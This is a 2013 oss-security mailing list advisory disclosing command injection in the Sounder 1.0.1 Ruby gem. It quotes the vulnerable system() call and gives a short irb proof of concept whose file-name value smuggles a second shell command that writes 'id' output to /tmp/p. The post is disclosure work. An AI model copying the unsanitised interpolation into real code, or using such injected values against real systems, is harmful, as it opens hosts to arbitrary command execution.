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Date: Wed, 28 Aug 2013 03:06:14 +0000 (GMT)
From: "Larry W. Cashdollar" <larry0@...com>
To: Open Source Security <oss-security@...ts.openwall.com>
Subject: Command Injection in Ruby Gem Sounder 1.0.1
Title: Command Injection in Ruby Gem Sounder 1.0.1
Date: 8/10/2013
Author: Larry W. Cashdollar @_larry0
Download: https://rubygems.org/gems/sounder
CVE: TBD
Description:
Sounder is a ruby gem API for Mac OSX's afplay command.
It passes user supplied data directly to command line.
>From lib/sounder/sound.rb:
def play
system %{/usr/bin/afplay "#{@...e}" &}
end
PoC:
irb(main):098:0> @file = "\"id;/usr/bin/id>/tmp/p;\""
=> "\"id;/usr/bin/id>/tmp/p;\""
irb(main):099:0> system %{/bin/echo "#{@...e}" }
id
sh: 1: : Permission denied
=> false
irb(main):100:0>
larry@...erfl0w:/tmp$ cat /tmp/p
uid=1000(larry) gid=600(staff) groups=600(user)
Author Notified: 8/9/2013
Advisory: http://vapid.dhs.org/advisories/sounder-ruby-gem-cmd-inj.html
Content of type "text/html" skipped
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